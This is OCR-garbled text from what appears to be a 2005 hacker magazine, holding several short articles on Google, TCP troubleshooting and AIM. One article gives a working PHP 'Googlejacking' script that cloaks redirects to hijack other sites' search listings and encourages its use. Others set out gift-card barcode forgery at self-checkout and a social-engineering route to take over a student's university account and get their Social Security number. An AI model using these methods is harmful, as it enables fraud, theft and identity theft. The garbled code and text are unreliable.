were obvious ly fi n ancia lly motivated .  Goog le 
went pub li c  on August 19th , 2004 a nd  sta rted 
answeri n g  to stockho lders whose bottom li n e  is 
profit. This has been the downfa ll of many com­
panies .  Bias ( in  the  fo rm of fi n a n ci a l  p ressu re) 
has been i ntroduced . You r  expectati on s  fo r p ri ­
vacy s hou ld be nonexistent a nd  they a re p robab ly 
too late now anyway. Goog le is the n ew Big 
B rother . . .  and he  i s  defi nitely watchi n g .  

"The Revo luti o n  Wil l  Be Digitized ! "  
Shoutz: Alternative search engines, my fellow 

passengers on the flight back from interzOne 4 
who formed a drc/e around me listening to me 
teach Google hacking, Addus, Dedus, Rattle, 
romanpoet, E/onka, the listeners of "Binary Revo­
lution Radio," and of course, the DDP. 

Hackit\�':Ji;fWsle Map's 
11: •• ",_ 

by Morcheeba 
Interested in accessi ng  Google's satellite im ­

agery for other  pu rposes? T h e  p rotocol i s n 't doc­
umented but it 's fai r ly si mp le to reverse 
eng ineer. 

The main app li cati o n  is a JavaScri pt app li ca­
ti on  that hand les the  user i nterface. The va ri ab le 
a nd  function  na mes have been run through a n  
obfuscato r, so the code i s  h a rd to  read .  This i s n 't 
j ust a p rotection  agai n st reverse engi n eeri n g  -
s ho rter names a lso ma ke it q ui cker to download .  

If  you have a Goog le map run ning , you ca n 
use Safa ri ' s  Wi ndow>Activities screen to s how a ll 
the  image ti les loaded .  Each ti le is a 256x256  
pixel J PEG picture that i s  app roximately 10-30KB 
i n  size. Fo r exa mp le:  

http://kh 

The ti les come with the "©2005 Goog le" 
watermark a lready on  them .  

What's with the U R L? I was  o rig ina lly expect­
i n g  some sort of longitude/latitude coordi nates 

S u • •  e r r a a 5 --------------------- P a g e  1 1  



with some zoom factor, but this seems to be 
j ust a crypti c  stri n g  of letters. Well, it turns out 
there is a method to the madness a nd  this fo rmat 
i s  si m p ler and mo re p recise than a n u meric 
encodi n g .  

Fi rst off, the  " k h "  i n  t h e  U R L  sta nds fo r Key­
ho le,  which is the  name  of the  satellite imagery 
too l  company Goog le bought  in 2004 (see 
www. keyho le . co m ) . It i s  a lso the name  sha red by 
the spy satellites operated by the Nati ona l  
Recon naissan ce Offi ce. 

The "v=" parameter i s  the JavaScri pt "wi n­
dow._ktv" va lue .  I 'm n ot too  su re what  that  is ,  
but it i s n 't n ecessa ry i n  the U RL .  

All cha racters i n  the value of the  "t=" parame­
ter a re either  "q " ,  " rll, "Sll, or "e. 

By sea rchi n g  the J avaScri pt, you can fi nd  a 
ha rd-coded sta rti n g  point fo r a ll i magery: 

likh. I 

When you append  one  of the  fou r  letters to 
the above li n k, you ' ll get one  of these pictu res: 

. ",' . .  

'II • 

Notice a pattern?  The appended letter speci -
f ies  which quadrant  to en la rge: 

q r 
t s 
We sta rt with the upper  left picture contai n ­

i n g  the no rthern hemisphere ( "t=tq " )  a nd  add 
a nother  letter - "t "  - to zoom i n  o n  the lower left 
corner. ( N ote that requesti n g  data fo r the  dark  
upper  co rners retu rns  a warni ng  that Goog le has 
n o  coverage of that a rea . )  

. . .  a nd  extracti n g  the  lower ri ght co rner  of 
that i mage yields: 

The pattern is conti n ued unti l  the desi red 
level of detai l i s  reached .  Cu rrently, there ca n be 
up to 18 cha racters fo llowi ng  the "t=" tag ,  b ut 
Goog le cou ld i n crease reso lution  i n  the futu re. 

The tech n ique used i s  a quadtree, a common  
computer graphics data structu re used to  effi­
ciently access a nd  store m u lti p le reso luti o n  im ­
ages .  A s  a n  added bo nu s ,  because n o  n u m bers 
a re used, there a re no  round ing  errors that cou ld 
create a rtifacts at the edges of ti les . 

Also, be awa re that whi le Goog le has  ta lked 
about openi ng  up  their API, they currently do n ot 
offi cia lly sancti on  this method of i mage retrieval .  
Access to these pictu res cou ld be termi nated at 
a ny ti me  - either  by maki n g  the server verify the 
"http get" header i n formation  (such as referrer ) ,  
or by changing the access mechanism enti re ly. 
Because users a lways down load Goog le's most 
up-to-date JavaScri pt viewer, backwa rds compat­
i bi lity does n ot need to be mai ntai ned .  
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J. V. 
evi lpope@thepopeisevi l.com 

Lots of n oise on the n et lately about this new 
phenomenon ca lled "Goog lejacki n g . "  For  those of  
you who  have spent the  last month or so i n  a 
cave, googlejacki n g  is when a website i n  Goog le's 
listi n g  i s  li n ked in the Goog le database to a site 
that is not on the domain  of the origi n a l  writer of 
the o rigi na l  page.  Fo r i n stan ce, you cou ld have a 
situation  where a page listed i n  Google's data­
base, say http://www. cn n . com .  i s  li n ked on  a 
Goog le search page to http://www.thepope 
-isevi l .com/cn n/, or even http://www. horny 
-girls . porn-host. org/cn nj .  The o rigi n a l  website 
descri ption  a n d  title wi ll be the same,  o n ly the  
li n k  wi ll be different i n  the Goog le database.  So 
when a user clicks  on  the  searched li n k  it wi ll go  
through  the off-CN N  page ,  n ot the origi n a l  CNN  
page .  

Danger, Wi ll Robinson 
H ow does this happen?  The prob lem is  with 

the way Google h and les 302 redirects a nd  meta 
refreshes with a zero wait time .  In other  words, 
Goog le tries to ma ke it  so pages with the  "same" 
content a re n ot i n  its  database.  A 302  redi rect or 
a M ETA refresh with zero wait time  wi ll redirect 
the browser to a n other page,  so Google does not 
want to i ndex both the  redirect page and the  
page you a re redirected to.  The zero wait ti me  for 
a meta refresh is i mportant because otherwise 
goog lebot wi ll i n dex the  redirect page as a page 
with n o  content (a b la n k  page) i n stead of a page 
that i s  identica l to our target page.  Confused? 
Hopefu lly when we loo k  at the exp loit code it' ll 
a II be crysta l clea r. 

This p rob lem i sn 't restri cted to Goog le .  MSN  
Search i s  a lso reported to  have th i s  vulnerab i lity 
a nd  theoretica lly a ny other search engi n es wi ll 
have the same prob lem if  they hand le 302 a n d  
meta redirects the  sam e  as  Goog le does.  

Exploit Listi ng  and Discussion 
There 's a lot of other good i n formati on  a l­

ready out there (see referen ces at bottom of arti ­
cle ) ,  but what I cou ld n 't fi n d  was  some good code 
exp loiti n g  the vu lnera bi lity. I hope to remedy 
this with "jack_mehada . ph p" ,  s hown below. 
<!--BEGIN HTML / P H P  CODE LISTING -
... " jack_mehada . php" --> 

<HTML> 
<HEAD> 
<7php 
$target_u r l  = $_GET[ ' urI' ] ;  

if( s t r s tr($HTTP_USER_AGENT , ' Google 
"'bot' ) I I s t r s tr($HTTP_USER_AGENT , 
""ms nbot' ) I I s t r s t r($HTTP_USER_AGENT , 
""Slurp' ) 

I I s t r s tr($HTTP_USER_AGENT , ' grub' ) 

"'11 strstr($HTTP_USER_AGENT , ' As k  
"'Jeeve s' ) I I s t r s t r($HTTP_USER_AGENT , 
""Wget ' ) ) 

echo "<met a  http-equiv=\"re f r e s h\" 
"'content=\" 0 ; ur l=http : / / $target_u r l  \ ">" ; 

e l s e  
e c h o  "<meta http-equiv=\"re f r e s h\" 

'''content=\'' O ; ur l=http : / /www . thepopeis 
-evil . com\">" ; 
7> 
< / HEAD> 

<BODY> 
<!-- "jack_mehada . php" by J and Evil Pope 
... of http : / /www . thepopeisevil . c om --> 
</ BODY> 

< / HTML> 

<!--END HTML / PHP CODE LISTING - "jac k_me 
"'hada . php"--> 

If you know a little about p h p  a nd  a little 
about browsers, what this scri pt does s hou ld not 
ta ke long  to understa nd .  The if statement checks 
if the software that requested the  page i s  a bot 
by checki n g  its user-agent stri n g .  I di d n 't j ust 
check for googlebot - msnbot a n d  a few others 
are in there too. Bots get a redi rect to our target 
page, everyone  else gets a redirect to 
http://www.thepopeisevi l. co m .  

You can change t h e  scri pt t o  redi rect non  bots 
to a ny page you want by changi n g  the li n e: 
echo "<met a  http-equiv=\"re f r e s h\" 
'''content=\'' O ; ur l=http : / /www . thepopeis 
-evil . com\">" ; 

to: 
echo "<met a  http-equiv=\"r e f r e s h\" 
"'content=\" 0 ; ur l=http : / /www . my-site . 
"'com/whateverpageyouwant . html \ ">" ; 

So if I wanted to redi rect it to my favorite 
porn gal lery ever ( h a ha ,  p u re a n a rchist evi l) , I 'd 
change  the  li ne  to: 
echo "<meta http-equiv=\·· r e f r e s h\" 
'''content=\'' O ; url=http : / / hornygir l s . 
"porn-hos t . org\"> II i 

Save and  up load this scri pt to you r  web host, 
nam ing  itjack_mehada . p h p .  Once the scri pt i s  u p  
o n  you r  web  h ost, assuming  you r  host supports 
p hp ,  you can jack any page you want by li n ki n g  
the  scri pt on  a n  exi sti ng  web page .  I ' d  do it li ke 
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this if I wanted to jack cn n.co m :  
< a  href� .. http:/ /www . my-website . c om/jack 
-mehada . php?url=www . c nn . com . .  >My Jac ker 
-Link< / a> 

or li ke this if I wanted to jack  a fri end 's geo­
cities page:  
< a  href� . .  http : / /www . my-webslte . com/jack 
-mehada . ph p ? u r l=www . geocities . c om/ 
-member696969/my_lame_page . html " >Jac k-o-
- l antern< / a> 

When Google ro lls a round  and  i ndexes the 
page with these li n ks on  it ,  it shou ld a lso sched­
u le the jacker pages fo r i ndexi ng. Yay! 

Tips and Tricks 
If you want to have the best chance of you r  

jacked page  bei n g  li sted i n stead of  the o rigi na l, 
you need to work a round  Google's PageRa n k  a lgo­
rith m. The PageRa n k  a lgorithm is  Google's 
method of checki n g  the "qua lity" of a site and is 
out of the scope of this a rticle. B ut check the ref­
erences below if you want to know more, or loo k  it 
up on wi ki pedia.com. Tryi ng  to get a better 
PageRa n k  is not necessa ry however, si n ce obvi­
ous ly lower PageRan ked pages have jacked h igher  

�II� 1)1�I·f)rl'· S 

by Glutton 
Next Christmas, if you give out Home Depot gift 

cards, you may be givi ng  the gift of nothing. 
Look at one of their cards and  you ' ll see that 

there is no  mag stri pe. It has a ba rcode on the 
back, pri nted right on the p lastic. This sort of ba r­
code is ca lled a "codaba r" and  is a com monplace 
configuration  typica lly used by retai lers for i nter­
nal  orga nization. It doesn 't have a fixed length nor  
does it use a check digit, a lthough sometimes users 
wi ll create thei r  own check digit structu re. When 
the customer or  cashier flashes the ca rd over the 
store's reader, a database is checked to see if 
the ca rd has been activated and how much money 
remai ns in the account. 

Unfortunately, The Home Depot doesn't use 
some proprieta ry or unusual bar code for thei r  
ca rds. I t  is easi ly dup licated by  evi ldoers. A l l  they 
have to know is how to make a coda bar. 

Now imagine an evi ldoer down loads Bar Code 
Pro or a si mi la r  product from a fi le shari ng  network 
and cra n ks out a ba rcode. How could he use it to 
pi lfer money? For starters, he could peek at other 
ba rcodes i n  the store. Unactivated cards a re typi­
ca lly hung  in racks fo r people to buy. How hard 
would it be to grab one and look at the num ber? 
Scann ing  the code with a reader confi rms that the 
number beneath the code is faithfu lly represented 
(which in itself is a security flaw). Then the evi l­
doer pri nts out the code and tapes it to the back of 
the card. All he has to do is wait fo r the code to be 

PageRan ked pages ma ny, many ti mes. It j ust 
he lps. 

And of cou rse, fo r best resu lts try the shotgun  
approach. Jack lots of pages usi n g  lots of  li n ks. 
And if you know php ,  edit the script and get 
creative. 

How do you know if you 've successfu lly jacked 
a page? Search for the page you 're tryi ng  to jack 
i n  Google. If the g reen U RL u nder the descri ption  
is you r  jacker U RL i n stead of the o rigi na l  page 
U RL, you wi n. Game over man.  

Emai l  me if you have questions  or  figu re out  
somethi ng  creative to  do with o r  put i nto the 
scri pt. Also emai l me  if you successfu lly jack 
somethi ng  so we can sha re a laugh.  Flames wi ll of 
cou rse be fo rwarded to /dev/nu ll. 

Enjoy, and  happy jacki n g !  
References 

http ://clsc. net/resea rch/ google-302-page-hi 
-jack.htm - " Page Hijack Exp loit - 302, Redi rects 
a nd  Google" 
http ://en.wi ki pedia.org/wi kijPagera n k  - Artic le 
o n  PageRan k  on wi ki pedia 

L Y S"'I�f�(JIII"'Y OuS ... 
activated by another customer. 

Another trick might be to figure out what the 
code represents. Which segment of the code i s  the 
store number? Well, that's easy enough to figure 
out si nce the store number is pri nted on the re­
cei pt. Analyzi ng a number of cards could revea l if 
there's a check digit structu re. Which num bers 
change? Which do not? Once he had it figured out, 
the evi ldoer cou ld create ra ndom ba rcodes and see 
if they a re activated. 

So the evi ldoer goes to the store clutching a 
forged ca rd. What next? Surely any cashier with 
ha lf a brai n cell could tell that there is a new piece 
of paper taped over the bar code. Fo rtunately fo r 
our  vi llai n ,  The Home Depot decided to hire fewer 
cashiers and has set up self-check-out stations in a 
lot of thei r  sto res. The evi ldoer sca ns his fo rged 
ca rd, and if there i s  money in the account he 
wa ltzes out with his i ll-gai ned loot. If he did some­
thing wrong and the attendant comes over to help, 
he palms the fa ke ca rd and shows him a rea l ca rd. 
The attendant "shows him how to do it" and the 
thief escapes to p lot once again. 

The security on the system is awfu l and relies 
o n ly on crimina ls not knowing  how to make cod­
aba rs. With self-check-out la nes, a potentia l  thief 
ca n experiment al l  he wants unti l  he figures out 
how to rob his fellow customers. 

So next Christmas, a re you going  to give some­
one a ca rd with nothi ng on it? 
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by Gr@ve_Rose 
SYN/SYN-ACK/ ACK is the  basic a nd  i niti a l  part 

of a TCP conversati o n  which happens every time  
you make a connecti on  from one  host t o  a nother  
usi n g  the TCP p rotocol. If you 've been n etworki ng  
fo r a long  ti me ,  t h i s  i s  a lways a t  the  fo refront o f  
you r  m ind  when  troub leshooti ng. I f  you ' re n ew to 
n etworki ng ,  he re 's a qu ick b rea kdown : 

Let's say you want to i nitiate a n  HTTP connec­
tio n  to www.2600.com from you r  b rowser. You r  
computer wi ll s e n d  a SYN packet t o  the  server 
which ,  in basic terms ,  i s  j ust a " H ey, I want to 
talk to you." The server then sends back a SYN­
ACK packet which is ,  "H i .  Yeah ,  let's ta lk." Lastly, 
the  client wi ll send an ACK packet after which 
data tra nsfer begi n s. This basic p rocess i s  a lso 
known as the "Th ree-Way handshake" o r  "TCP 
handshake." There is q uite a lot of i n formati on  
with in  these packets li ke sequence n u m bers a nd  
other  s u ch  items but I won 't go  i nto t hem  here. 
We're j ust i nterested in the  handshake fo r the  
pu rpose of th i s  a rti c le. 

Before I get to the detai ls a nd  code, I fee l  it 
wou ld be wise to s ha re the "Why? " porti o n  of this 
equati o n :  

I work fo r a large n etwo rki ng/security com­
pany o n  the reactive support side of thi ngs  which 
means  that I get a lot of i n teresti ng  scena rios  
where someone's fi rewa ll i s n 't worki n g  p roperly 
or they' re havi n g  troub les with a specifi c featu re 
of thei r  fi rewa ll. One  day, a coworker of mi ne  was 
worki n g  on  a case where the  c li ent's fi rewa ll 

#!/usr/bin/peri -w 
# 
# A simple program to open a TCP port. Useful for 
# testing SYN packet issues on state-like firewalls. 
# 
# http://www.assdingos.com/grass/ 
# 
# Shout outs: 
# 
# 
# 
# 

CatS, Rijendaly Llama, chixOr, alxOr, 
exial, stormdragon, lucid_fox, 
Deathstroke, Harkonen, daverb and 
eXoDuS (YNBABWARL!) 

# Some code used from snacktime. pI 
# http://www.planb-security.net/wp/snacktime. html 
# (C) Tad Beardsley 
# 
# Copyright (C) Gr@ve_Rose 

would turn a SYN packet i nto an ACK packet fo r 
n o  apparent reason.  Wei rd, eh?  After doi n g  some 
more i n -depth resea rch , we found  out that  the  
client was usi n g  a specifi c devi ce behi nd  the  fi re­
wall  which had a li mited n umber  of sou rce ports 
to use a n d  that when it attempted to create a 
n ew con necti o n ,  the  fi rewa ll wou ld see the  
packet come  from the same source port before 
the TCP end timeout was reached a nd  thought  it 
was part of the con nection.  As we explai ned this 
to the c li ent, they wanted proof that the  fi rewall 
was not the problem (a fai r request) and that it 
was thei r  device. So we set out to rep rod uce the 
issue. 

The biggest h u rd le we came  across is that a ll 
the  progra ms  that we cou ld fi nd  fo r generati n g  a 
TCP handshake wou ld close the con necti on  with a 
FIN packet i m mediately after r unn i ng. We needed 
it open, not closed, so we cou ld test our hypoth­
esis. That i s  how this ca me  to be .... 

The code itse lf is very sim p le. It uses 
IO : :Socket: : INET to open a TCP con necti on  from 
one  h ost to a nother. Yes ,  it sounds  just li ke tel­
n et. H owever, with this code you can specify the 
source port of the  client. This wi ll ensu re that 
when you a re troub leshooti n g  a possi b le SYN 
issue,  you can use the same source port as a n  
a lready estab li s hed connection.  You ca n a lso use 
this to open an  i niti a l  con necti on  and use it as a 
"door  stopper" so you can fu rther  test the  issue 
at hand. 

# This program is free software; you can redistribute it and/or 
# modify it under the terms of the GNU General Public License 
# as published by the Free Software Foundation; either version 2 
# of the License, or (at your option) any later version. 
# 

This program is distributed in the hope that it will be useful, 
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# but WITHOUT ANY WARRANTY; without even the implied warranty of 
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 
# GNU General Public License for more details. 
# 
# You should have received a copy of the GNU General Public License 
# along with this program; if not, write to the Free Software 
# Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02 111-1307, USA. 
# 

use warnings; 
use strict; 
use Getopt:: Std; 
use IO::Socket::INET; 

# IPv6 Support - README 
# To get IPv6 support you will need to install two 
# additional Perl modules: Socket6 and IO-Socket-INET6 
# First, download each package from CPAN: 
# Socket6 -> http://search.cpan.org/CPAN/authors/id/U/UM/uMEMOTO/Socket6-0 .17. tar. gz 
# INET6 -> http://search.cpan.org/CPAN/authors/id/M/MO/MONDEJAR/IO-Socket-INET6-2.51.tar.gz 
# Once downloaded, uncompress each file and go into 
# the new directories. Run the command (as rOOt): 
# perl ./Makefile.PL && make && make install 
# in each directory to install the modules. You need to 
# install Socket6 first. 
# Finally, uncomment the line below and enjoy. 
# use 10: : Socket: :INET6; 

$ 1 = 1 ; # Get rid of the buffer and dump to STDOUT 

my %options; 
getopts( 'm:t:p:s:x:', \%options) II usage(); 

# Are we asking for the man page? If so, stop here and go there. 
if ($options {m}) { 

man() ; 
die; 

# Do we have a Target IP? 
if (not $options{t}) { 

print II \r\n"; 
print {*************ERROR**************]": 
print "\n": 
print --=={You forgot the target IP Address]==--"; 
print "\n"; 
print [*************ERROR**************]"; 
print II \r\n" ; 
usage() ; 
die: 

# Do we have a Target Port? 
if (not $options{p}) { 

print "\r\n"; 
print [**********ERROR***********]"; 
print "\n"; 
print --==[You forgot the target Port]==-"; 
print "\n": 
print 
print "\r\n"; 
usage() ; 
die; 

{**********ERROR***********] "; 

# Do we have a Local Source Port? 
if (not $options{s}) 

print "\r\n": 
print (**********ERROR***********]"; 
print "\n"; 
print --==[You forgot the source Port]==-"; 
print "\n"; 
print 
print "\r\n"; 
usage() ; 
die; 

[**********ERROR***********]": 

# Default to IPv4 or if specified 
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if (not $options{x} or $options{x} "4") { 

my $socket � IO::Socket::INET -> new{PeerAddr �> $options{t}, PeerPort �> $options{p}, 
-'LocalPort �> $options{s}, Proto �> 'tcp')i 

my $gigo � "\r\n"; # A basic [ENTER] button to send if you want. 
# See the blurb below for usage of this variable 
# Go ahead and modify this for a specific protcol 

# like HE La (port 25 ) , or an HTTP GET request. 
# If you would like to send a basic [ENTER] (Or whatever you've created) 
# to the socket once connected, replace: 
# print $socket 
# listed below with: 
# print $socket $gigo 

printf "\r\nAttempting to connect ... (IPv4)\r\n"C sends a FIN packet whenever you are ready 
-to close the connection. \r\n \r\n"; 

printf $socket II die "There was an error in the connection. Check the following:\r\n­
-Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not 
-have ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n"; 

while «$socket» 

# If IPv6 is explicitly defined in the command variable ... 
if ($options{x) == "6") 

my $socket � IO::Socket::INET6 -> new{PeerAddr => $options{t}, PeerPort => $options{p}, 
-LocalPort �> $options {s}, Proto 'tcp' ) ; 

my $gigo = "\r\n"; # See note above for $gigo usage ... 

printf "\r\nAttempting to connect ... {IPv6)\r\n"C sends a FIN packet whenever you are ready 
-to close the connection. \r\n \r\n"; 

printf $socket II die "There was an error in the connection. Check the following: \r\n­
-Closed/filtered port?\r\n- If you are using the same source port, the TCP connection may not 
-have ended. Send a FIN/RST or wait until your TCP End Timeout has been reached.\r\n \r\n"; 

while «$socket» 

print $_; 

sub usage { 

die « EOH; 

Grave_Rose\' s Atomically Small SYN - A small SYN sending program 
Version 0.5 

Usage: grass.pl -t [IP_to_connect_to] -p [DST __ Port] -s [SRC._Port] (-x [4][6]) (-man) 

-t MUST be present (Who are you sending the packet to? ) 

-p MUST be present (What port are you opening? ) 
-s MUST be present (Why would you want a dynamic source port? ) 

MAY be present - Use -x 6" for IPv6 instead of IPv4 
(Defaults to IPv4 if not present) 

-man - Shows the mini-man page for further information 

If you\'re seeing this message, you didn\'t get the 

There is additional information in the source of this program so if 
you have any questions, look in the source before bugging me about 

anything. All you have to do, is open grass.pl in your favourite 

EOH 
} 

text editor and look at some of the comments. 
Grave_Rose 

sub man { 
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die « EOM ; 

G.R.A. S . S .  M i n i -Man Page 

NAME 
gra s s .  pI - A sma l l  Perl SYN program 

SYNOP S I S  
gras s . p l  - t  [ I P�to_connect_to ] -p l OST_Port ] - s  [ SRC Port ] ( -x [ 4 ] [ 6 ] ) ( -man ) 

DESCR I P T I ON 
g r a s s  .pl is a program intended to a s s i s t  in troub l e s hoot ing network rel ated i s sues 
specific a l ly with SYN and Source-Port troub l e s .  You can u s e  gras s . p l  to either act 
as a " door- j am "  for a SYN connection by starting it fir s t  or u s e  i t  once an e s t ab l i s hed 
connection i s  al ready in place and you want to cause an e f fect from the s ame source 
port as the previous connec tion. 

OPTIONS 
- t  Spec ifies the Target I P  addre s s .  T h i s  value *MUST *  be present and can be e i t her 
IPv4 ( De f au l t ) or IPv6 ( See -x below ) .  

- p  Spec ifies the Target Port. This value *MUST* b e  present. 

- s  Spec ifies the Source Port. This value * MUST* be present. 

S e l ect IPv4 ( De f a u l t  or -x4 ) or IPv6 ( -x 6 ) .  For I Pv6 to wor k ,  you *MUST* have the 
Socket6 and 10: : S ocket : : I NET6 Perl Modu l e s  i n s t a l led as we l l  as a c apab l e  I P v 6 -enabled 

interface. 

RETURN VALUES 
If a succ e s s f u l  TCP connection is made , the 1 0 :  : Socket : : INET ( 6 )  wi l l  return a GLOB 
from the connection. In the event the connection i s  unsucc e s s f u l , an error me s s age 
will be printed. If one of the three *MUST *  opt ions are mi s s i n g ,  an error me s s age 
wi l l  be printed and will tell you wh ich one you are m i s s ing. 

EXAMPLES 
Open port 80 on 1 0. 1 1 . 1 2 . 1 3  from a source port o f  3 1 3 7 7 : 
. / gr a s s . p l  -t 1 0. 1 1 . 1 2 . 1 3  -p 8 0  -s 3 1 3 3 7  

Open port 1 1 0  o n  f e c O : c O f f : ee 01 : : 1  from a s ource port o f  56 7 8 :  
. / gr a s s . p l  - t  fec O : c O f f : ee 01 : : 1  - p  1 1 0  - s  56 7 8  - x  6 

SECURITY NOTES 
As long as you have access to Per l ,  this program has the potent i a l  to be a complete 
SYN DoS program. I t  i s  * STRONGLY * suggested that you u s e  t h i s  program with restraint 
a s  b a s i c  " w h i l e " looping can change the program f rom " Happy Troub l e s hoot ing Tool " to 
" Ev i l  Script 0' Death " .  Just as a hammer can be a tool or a weapo n ,  I des igned t h i s  
to be a tool a n d  n o t  a weapon. I f  t h i s  program e n d s  up D o S - i n g  y o u r  networ k ,  take 
action against the person who did this and not against me. 

BUGS 
U s i n g  the -m ( an )  switch . . •  You can type anything after the letter " m "  and you wi l l  get 
this m i n i -man page. Using -m by i t s e l f  does nothing though. 

EOM 

} 

Yes , even :  . / gr a s s . p l  -man am I drunk 

by chi LL p3ng u l n  
I wo r k  fo r a weLL known un iversity t hat  re­

cently stopped usi n g  Soci a l  Secu rity N u m bers fo r 
identifi cati o n  pu rposes because of secu rity risks .  
Instead ,  we now use a un ique  n i ne  digit Soci a l­
li ke n u mber. H owever, the  fi rst th ree digits a re 
a ll the same :  5 5 5 .  So it's mo re li ke a six digit 

n u m ber. Each student i s  given this school  ID 

n u m ber  when they register fo r classes the fi rst 

ti me .  They a re issued i n crementa lly, the fi rst 

n u m ber  ( 5 55-000-001 )  goi ng  to the person who  

has been  at  the university the  lon gest that  sti ll 

owes us money. 
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Problems 
Months before goi n g  live with the n ew sys­

tem ,  I had severa l  concerns with it. Fi rst off, So­
cia ls were mo re ra ndom ,  so if  digits were 
tra nsposed there was little chance it wou ld pu ll 
a nyone  up .  H owever, with a n  i n cremented n um­
ber  system ,  5 5 5-276-012 a nd  5 5 5-267-012 both 
b ri n g  people up. So the odds of posti n g  payments 
to the  wrong  account a re i n creased d ramati cally. 
When  b ri ng ing  this up, I was told to 'J ust be care­
fu l . "  I a lso menti oned that even if  we're not usi n g  
Socia ls loca lly (i n ou r  office) , people sti ll have to 
use them in o rder  to e n rol l  in ou r  payment p la n s  
a nd  fo r Fi n anci a l  Aid .  So I was  un clea r as to  why 
we needed a fu ll on  change  i n  the system .  They 
to ld me that this decreased the p robabi lity of 
stolen identities .  

More Problems 
Si n ce the program has gone  live, not much  

has  changed .  Rea lly, the o n ly p lace you  a re re­
qu i red to use you r  n ew 10 n u m ber i s  ou r  o n li n e  
site, CatN et, wh ere y o u  ca n register fo r classes, 
loo k  up  you r  schedu le,  review which Fi n anci a l  Aid 
you 've been awa rded,  change  you r  loca l a nd  per­
manent addresses, and so o n .  In fact, if someone 
were to  walk  i nto ou r  offi ces a nd  n ot know thei r  
n ew 10  n u mbers, we've been i n structed to look  
them up  by  name .  

A few months  ago ,  I rea lized that  there was  a 
h uge security issue i n  ou r  n ew system and  re­
ported it i m mediately. Nothi ng  changed and  the  
h o le remai ned .  I reported it a few more ti mes,  
but a ll I got was a response that basica lly said to 
stop sendi n g  them letters and that they weren 't 
goi n g  to fix it fo r whatever reason .  I thi n k  the  
bas ic  consensus  was that it would probab ly n ever 
happen because people don 't understa nd  the sys­
tem and  that they would worry about it if it ever 
happened .  

Ironic 
It's a lmost fu n ny how this new system is  

m uch mo re vulnerab le to identity theft than the 
o rigi n a l  one .  

Si nce the n u m bers a re i n cremented , walki n g  
up  t o  a n  offi ce a nd  sayi ng  5 5 5  befo re six ra ndom 
n u m bers wi ll p u ll someone up .  You can get a lot 
of i n formation  this way: how much  they owe, 
thei r  addresses, what classes they' re i n ,  etc . ,  
mostly un important stuff. 

But let's say you wa lk up to the Bi l li ng s  Offi ce 
a nd  give them someone' s  name  ( let' s say you r  
roommate's ) .  They wi ll loo k  you  up  by  name ,  a nd  
t hen  you  ca n ask some BS question  li ke "Do  I sti ll 
owe anyth ing? "  In any case, before you leave, ask  
them fo r you r  10  n u mber  because you " keep fo r­
getti ng  it but you want to remember it rea l bad . "  
He ll, they'l l even write i t  down for you .  Now 
comes the fu n pa rt. 

CatNet is, by defa u lt, set up  to use you r  10 

n u m ber  as the username  and  the last six digits of 
you r  Soci a l  as you r  password, which ca n be 
changed at a ny time .  U n less you have n o  Soci a l  
on  fi le, i n  wh i ch  case it becomes the  last s i x  dig­
its of you r  school 10 .  Now, the odds of you j ust 
ra ndom ly fi nd ing  someone who  has  no Soci a l  on  
fi le a re p retty s li m ;  I've o n ly run i nto a handfu l o f  
them myself. But if  you  go to  the  Registrar 's Of­
fice you ca n fi l l  out these n eat th ings  ca lled Con­
fidentia lity Request Fo rms .  These bad boys keep 
a nyone  but a few rea l-high-up ' s  from loo ki n g  at 
th ings  on  you r  account. It makes certai n th ings  
li ke phone n umbers, addresses, a n d  Soci a l  Secu­
rity Num bers disappear. They don 't actua lly dis­
appea r, but access to them is hi g h ly li mited .  They 
a re usua lly used i n  cases of sta lkers or pa rents 
who a re tryi n g  to stea l the student's resi dua l  
checks .  

So he re's the trick :  now you have the  5 5 5  
n u m ber  of t h e  person which i s  a ll that passes a s  
p roof-of-i dentity nowadays. So go t o  the  Regis­
trar's Offi ce and fi ll out one of those Confiden­
tia lity fo rms .  Next, ca l l  up  CatNet support and  
comp la in  that  you lost you r  password , o r  that  it's 
j ust not letti ng  you in o r  whatever. I'm n ot su re 
how their  offi ce works because I've n ever been 
there, b ut either  they j ust have a RESET PASS­
WORD  button  or  they actua lly check to see if  you 
have a Soci a l  on  fi le and manua lly change  it to 
that .  Either  way, j ust give them you r  555 n u m ber  
a nd  magica lly the password i s  the last s ix  digits 
of it because you r  Soci a l  i s  n ot accessi b le to 
them . 

Now you have unfettered access to a ll of thei r  
i n fo rmati on ,  i n cludi ng  p h o n e  n u m bers,  loca l a n d  
permanent addresses, thei r  Fi n a n ci a l  Aid ,  plus 
the abi lity to charge books straight  onto the  ac­
count, add or d rop  their  classes, or even with­
d raw them from the u niversity a ltogether. But 
most i mportantly, you get thei r  Soci a l  Secu rity 
Num ber. And  what ca n you do with thei r  Soci a l  
Security N u mber, p hone  n u mber, a nd  permanent 
add ress? App ly fo r a credit card ! I fai l to see how 
this system is  mo re secu re, o r  secu re at a ll . 

Serious ly kids ,  don 't try this at home .  Identity 
theft is a major  crime .  I o n ly wrote about this be­
cause it's such a la rge ho le and the  admin istra ­
tors here refuse to fix it. If I were attendi n g  this 
un iversity I would hope that there were people 
loo ki n g  out fo r me,  which is the  point here .  
Hopefu lly, someone e lse wi ll s how this to some­
one  h igher  up a nd  this problem wi ll be corrected 
very soo n .  Si nce most people don 't know o r  
understa nd  how the system works, they fai l  to 
understa nd  how much  they a re at ri sk .  

Knowledge i s  Power. 

S U 11/ 11/  e r i! a a 5 --------------------- P a g e  J. .,  



Cr e at ing AIM M ayhem 
by windwa ker 

Server p rotocol i n formati on  i s  seldom entered 
by a user manua lly, and j ust about a lways a uto­
mated by the p rogram that they' re usi n g .  The 
most that we wou ld see this happen i s  in IRC (In­
ternet Re lay Chat) , where you a re a lmost encour­
aged to enter the  server p rotocol  i n  manua lly. 
But how many people have actua lly messed with ,  
or  even seen AOL's Instant Messenger  servi ce's 
command  p rotoco l, o r  that of MSN ,  Ya hoo !  Mes­
senger, or even Jabber? 

The i nfo rmati on  about AOL's AIM service is 
probab ly the least abused i n formati on  released 
about a ny messenger service. The actua l  re leased 
i n formati on  about the i n formatio n  that i s  sent to 
AOL's servers i s  at http://cvs . sourcefo rge . n et 
'-/viewcvs . py/ gai m/ gaim/doc/ Attic/PRO 
'-TO CO L? rev=1 .4 .  

Th i s  may n ot seem usefu l at fi rst g la n ce, as n o  
